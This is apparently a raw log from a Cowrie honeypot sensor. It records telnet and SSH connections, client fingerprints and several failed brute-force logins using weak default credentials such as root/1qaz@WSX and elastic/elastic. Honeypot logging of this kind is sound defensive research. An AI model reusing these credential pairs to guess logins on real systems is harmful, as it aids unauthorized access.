{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":40584,"dst_ip":"159.203.135.109","dst_port":23,"session":"260a157ed9e3","protocol":"telnet","message":"New connection: 136.144.139.78:40584 (159.203.135.109:23) [session: 260a157ed9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:37.645309Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:37.743902Z","src_ip":"187.16.96.250","session":"64c1c1efac70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.990293979644775,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:38.605858Z","src_ip":"62.210.97.77","session":"144e0409cadd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86720395088196,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:38.887599Z","src_ip":"62.210.97.77","session":"4946aef181f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":40596,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c393c4ce86","protocol":"telnet","message":"New connection: 136.144.139.78:40596 (159.203.135.109:23) [session: f3c393c4ce86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:39.029641Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60898,"dst_ip":"10.17.0.5","dst_port":23,"session":"18cab8f61365","protocol":"telnet","message":"New connection: 62.210.97.77:60898 (10.17.0.5:23) [session: 18cab8f61365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:39.844018Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54890,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4fe61237d99","protocol":"ssh","message":"New connection: 176.65.132.254:54890 (10.17.0.5:22) [session: b4fe61237d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:40.169095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:40.173969Z","src_ip":"176.65.132.254","session":"b4fe61237d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:40.255765Z","src_ip":"176.65.132.254","session":"b4fe61237d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50978,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f1b507ecc3","protocol":"telnet","message":"New connection: 38.54.119.93:50978 (10.17.0.5:23) [session: 60f1b507ecc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:40.297760Z"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:40.503951Z","src_ip":"176.65.132.254","session":"b4fe61237d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.9191780090332,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:41.423554Z","src_ip":"62.210.97.77","session":"2231ea5bc10c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:41.587996Z","src_ip":"176.65.132.254","session":"b4fe61237d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.77832245826721,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:42.481161Z","src_ip":"62.210.97.77","session":"0c37f42b8a68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.10190773010254,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:42.619166Z","src_ip":"65.60.27.33","session":"7bac20153ab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60975480079651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:43.065677Z","src_ip":"136.144.139.78","session":"2429c4ba93f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73161768913269,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:43.140787Z","src_ip":"62.210.97.77","session":"de36c4467644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01470446586609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:43.186704Z","src_ip":"136.144.139.78","session":"36d201b1f38a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56854,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba564acce4e","protocol":"telnet","message":"New connection: 134.209.8.29:56854 (159.203.135.109:23) [session: 0ba564acce4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:43.949159Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43622,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a8f8c39fbf5","protocol":"ssh","message":"New connection: 176.65.132.254:43622 (10.17.0.5:22) [session: 9a8f8c39fbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.238625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.242886Z","src_ip":"176.65.132.254","session":"9a8f8c39fbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.324468Z","src_ip":"176.65.132.254","session":"9a8f8c39fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.75183010101318,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.491861Z","src_ip":"134.209.8.29","session":"d69ccd4e2a40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.570105Z","src_ip":"176.65.132.254","session":"9a8f8c39fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.0771906375885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.575305Z","src_ip":"62.210.97.77","session":"9d9873d92dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60908,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d66ea089ee4","protocol":"telnet","message":"New connection: 62.210.97.77:60908 (10.17.0.5:23) [session: 3d66ea089ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:44.792934Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60914,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5249c66b02c","protocol":"telnet","message":"New connection: 62.210.97.77:60914 (10.17.0.5:23) [session: d5249c66b02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:45.072640Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:45.654733Z","src_ip":"176.65.132.254","session":"9a8f8c39fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.59543967247009,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:45.915011Z","src_ip":"62.210.97.77","session":"0fea3530e4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"28e579e4abb8","protocol":"telnet","message":"New connection: 62.210.97.77:60924 (10.17.0.5:23) [session: 28e579e4abb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:46.315416Z"}
{"eventid":"cowrie.session.closed","duration":33.33855605125427,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:46.792585Z","src_ip":"62.210.97.77","session":"50d070405129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.96045470237732,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:46.857899Z","src_ip":"62.210.97.77","session":"c5f6075354a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56616973876953,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:47.371185Z","src_ip":"62.210.97.77","session":"92e5d244e449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33700,"dst_ip":"10.17.0.5","dst_port":23,"session":"04cf19862d33","protocol":"telnet","message":"New connection: 65.60.27.33:33700 (10.17.0.5:23) [session: 04cf19862d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:47.756263Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43638,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb13d74d7c3f","protocol":"ssh","message":"New connection: 176.65.132.254:43638 (10.17.0.5:22) [session: cb13d74d7c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:48.376748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:48.381643Z","src_ip":"176.65.132.254","session":"cb13d74d7c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:48.466641Z","src_ip":"176.65.132.254","session":"cb13d74d7c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:48.747414Z","src_ip":"176.65.132.254","session":"cb13d74d7c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.76523971557617,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:48.854885Z","src_ip":"62.210.97.77","session":"861cbf69e6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":47094,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc4f4400e0c","protocol":"telnet","message":"New connection: 136.144.139.78:47094 (159.203.135.109:23) [session: ddc4f4400e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.025075Z"}
{"eventid":"cowrie.session.closed","duration":30.457942247390747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.082808Z","src_ip":"136.144.139.78","session":"4e138fe453bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.20048189163208,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.099809Z","src_ip":"134.209.8.29","session":"b175baac607a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.262946128845215,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.675146Z","src_ip":"62.210.97.77","session":"85bfe8549951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56080,"dst_ip":"10.17.0.5","dst_port":23,"session":"b71224fcd961","protocol":"telnet","message":"New connection: 38.54.119.93:56080 (10.17.0.5:23) [session: b71224fcd961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.788857Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.844269Z","src_ip":"176.65.132.254","session":"cb13d74d7c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.164100885391235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:49.877607Z","src_ip":"62.210.97.77","session":"8f243fbed626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.66938066482544,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:51.241672Z","src_ip":"62.210.97.77","session":"ebf60b94d239","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54492,"dst_ip":"10.17.0.5","dst_port":23,"session":"70bd0260591b","protocol":"telnet","message":"New connection: 62.210.97.77:54492 (10.17.0.5:23) [session: 70bd0260591b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:51.590894Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":47096,"dst_ip":"159.203.135.109","dst_port":23,"session":"383e6e3dc23f","protocol":"telnet","message":"New connection: 136.144.139.78:47096 (159.203.135.109:23) [session: 383e6e3dc23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:51.890343Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57388,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6151604d862","protocol":"telnet","message":"New connection: 38.54.119.93:57388 (10.17.0.5:23) [session: b6151604d862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:52.011707Z"}
{"eventid":"cowrie.session.closed","duration":41.04662752151489,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:52.495900Z","src_ip":"62.210.97.77","session":"630acb47c43d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ffcf988cef1","protocol":"ssh","message":"New connection: 176.65.132.254:42464 (10.17.0.5:22) [session: 4ffcf988cef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:52.646476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:52.650646Z","src_ip":"176.65.132.254","session":"4ffcf988cef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:52.737661Z","src_ip":"176.65.132.254","session":"4ffcf988cef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:52.987381Z","src_ip":"176.65.132.254","session":"4ffcf988cef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54496,"dst_ip":"10.17.0.5","dst_port":23,"session":"39672856143b","protocol":"telnet","message":"New connection: 62.210.97.77:54496 (10.17.0.5:23) [session: 39672856143b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:53.447430Z"}
{"eventid":"cowrie.session.closed","duration":30.157644748687744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:54.047889Z","src_ip":"136.144.139.78","session":"4cfa7118adb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:54.070753Z","src_ip":"176.65.132.254","session":"4ffcf988cef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.44272470474243,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:54.692802Z","src_ip":"62.210.97.77","session":"191d538c14f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23825120925903,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:54.723842Z","src_ip":"62.210.97.77","session":"b17bcd5d5567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40450,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89d9e291f9b","protocol":"telnet","message":"New connection: 165.232.131.181:40450 (10.17.0.5:23) [session: d89d9e291f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:55.156877Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42886,"dst_ip":"10.17.0.5","dst_port":23,"session":"477537326619","protocol":"telnet","message":"New connection: 65.60.27.33:42886 (10.17.0.5:23) [session: 477537326619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:55.378825Z"}
{"eventid":"cowrie.session.closed","duration":30.811273336410522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.094219Z","src_ip":"136.144.139.78","session":"109f1b39a903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2615008354187,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.208248Z","src_ip":"62.210.97.77","session":"0af4c6f52c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.265363454818726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:56.419255Z","src_ip":"62.210.97.77","session":"2a3963c04d13","protocol":"telnet"}
